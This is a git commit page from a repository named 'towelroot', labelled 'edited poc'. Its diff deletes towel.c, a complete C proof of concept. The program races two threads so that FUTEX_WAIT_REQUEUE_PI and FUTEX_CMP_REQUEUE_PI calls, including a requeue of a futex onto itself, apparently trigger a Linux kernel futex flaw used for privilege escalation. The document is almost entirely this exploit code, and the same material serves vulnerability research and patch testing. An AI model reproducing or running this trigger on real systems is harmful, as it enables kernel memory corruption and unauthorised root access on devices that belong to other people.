diff options
author | zzhou007 <zzhou007@ucr.edu> | 2016-11-08 12:47:35 -0800 |
---|---|---|
committer | zzhou007 <zzhou007@ucr.edu> | 2016-11-08 12:47:35 -0800 |
commit | 10e8b1c4ac2382d261256164a81a34553813b06e (patch) | |
tree | 68b61e201051e46b0d503b5b3260c23b495940b6 /towel.c | |
parent | 483955d7bbe65057e44e286439642e329ff3cd39 (diff) | |
download | towelroot-10e8b1c4ac2382d261256164a81a34553813b06e.tar.gz towelroot-10e8b1c4ac2382d261256164a81a34553813b06e.tar.bz2 towelroot-10e8b1c4ac2382d261256164a81a34553813b06e.zip |
edited poc
Diffstat (limited to 'towel.c')
-rw-r--r-- | towel.c | 102 |
1 files changed, 0 insertions, 102 deletions
diff --git a/towel.c b/towel.c deleted file mode 100644 index 5481bff..0000000 --- a/towel.c +++ /dev/null @@ -1,102 +0,0 @@ -#include <stdio.h> -#include <unistd.h> -#include <pthread.h> -#include <stdlib.h> -#include <linux/futex.h> -#include <sys/syscall.h> - -#define USERLOCK_FREE 0 -#define USERLOCK_OCCUPIED 1 -#define FUTEX_WAIT_REQUEUE_PI 11 -#define FUTEX_CMP_REQUEUE_PI 12 - -inline void userlock_wait(volatile const int *userlock) { - while (USERLOCK_OCCUPIED == *userlock) { - usleep(10); - } -} - -inline void userlock_lock(volatile int *userlock) { - *userlock = USERLOCK_OCCUPIED; -} - -inline void userlock_release(volatile int *userlock) { - *userlock = USERLOCK_FREE; -} - -int get_voluntary_ctxt_switches(pid_t tid) { - FILE *fp; - char proc_path[256]; - char buf[0x1000]; - char *ptr = buf; - int count = -1; - snprintf(proc_path, sizeof(proc_path), "/proc/self/task/%d/status", tid); - fp = fopen(proc_path, "rb"); - if (fp != NULL) { - fread(buf, sizeof(unsigned char), sizeof(buf), fp); - ptr = strstr(buf, "voluntary_ctxt_switches:"); - ptr += strlen("voluntary_ctxt_switches:"); - count = atoi(ptr); - fclose(fp); - } - return count; -} - -void wait_for_thread_to_wait_in_kernel(pthread_t tid, int context_switch_count) { - while (get_voluntary_ctxt_switches(tid) <= context_switch_count) { - usleep(10); - } -} - -inline int futex_lock_pi(int *uaddr) { - return syscall(__NR_futex, uaddr, FUTEX_LOCK_PI, 0, NULL, NULL, 0); -} - -inline int futex_wait_requeue_pi(int *uaddr1, int *uaddr2) { - return syscall(__NR_futex, uaddr1, FUTEX_WAIT_REQUEUE_PI, 0, NULL, uaddr2, 0); -} - -inline int futex_requeue_pi(int *uaddr1, int *uaddr2, int cmpval) { - return syscall(__NR_futex, uaddr1, FUTEX_CMP_REQUEUE_PI, 1, NULL, uaddr2, cmpval); -} - -int A = 0, B = 0; -volatile int invoke_futex_wait_requeue_pi = 0; -volatile pid_t thread_tid = -1; - -void *thread(void *arg) { - thread_tid = gettid(); - printf("[2]\n"); - userlock_wait(&invoke_futex_wait_requeue_pi); - futex_wait_requeue_pi(&A, &B); - printf("Someone woke me up\n"); - while (1) { - sleep(1); - } -} - -int main(int argc, char *argv[]) { - pthread_t t; - int context_switch_count = 0; - printf("[1]\n"); - futex_lock_pi(&B); - userlock_lock(&invoke_futex_wait_requeue_pi); - pthread_create(&t, NULL, thread, NULL); - /* Wait for the thread to be in a system call */ - while (thread_tid < 0) { - usleep(10); - } - context_switch_count = get_voluntary_ctxt_switches(thread_tid); - userlock_release(&invoke_futex_wait_requeue_pi); - wait_for_thread_to_wait_in_kernel(thread_tid, context_switch_count); - printf("[3]\n"); - futex_requeue_pi(&A, &B, A); - printf("[4]\n"); - B = 0; - printf("[5]\n"); - futex_requeue_pi(&B, &B, B); - while (1) { - sleep(1); - } - return 0; -} |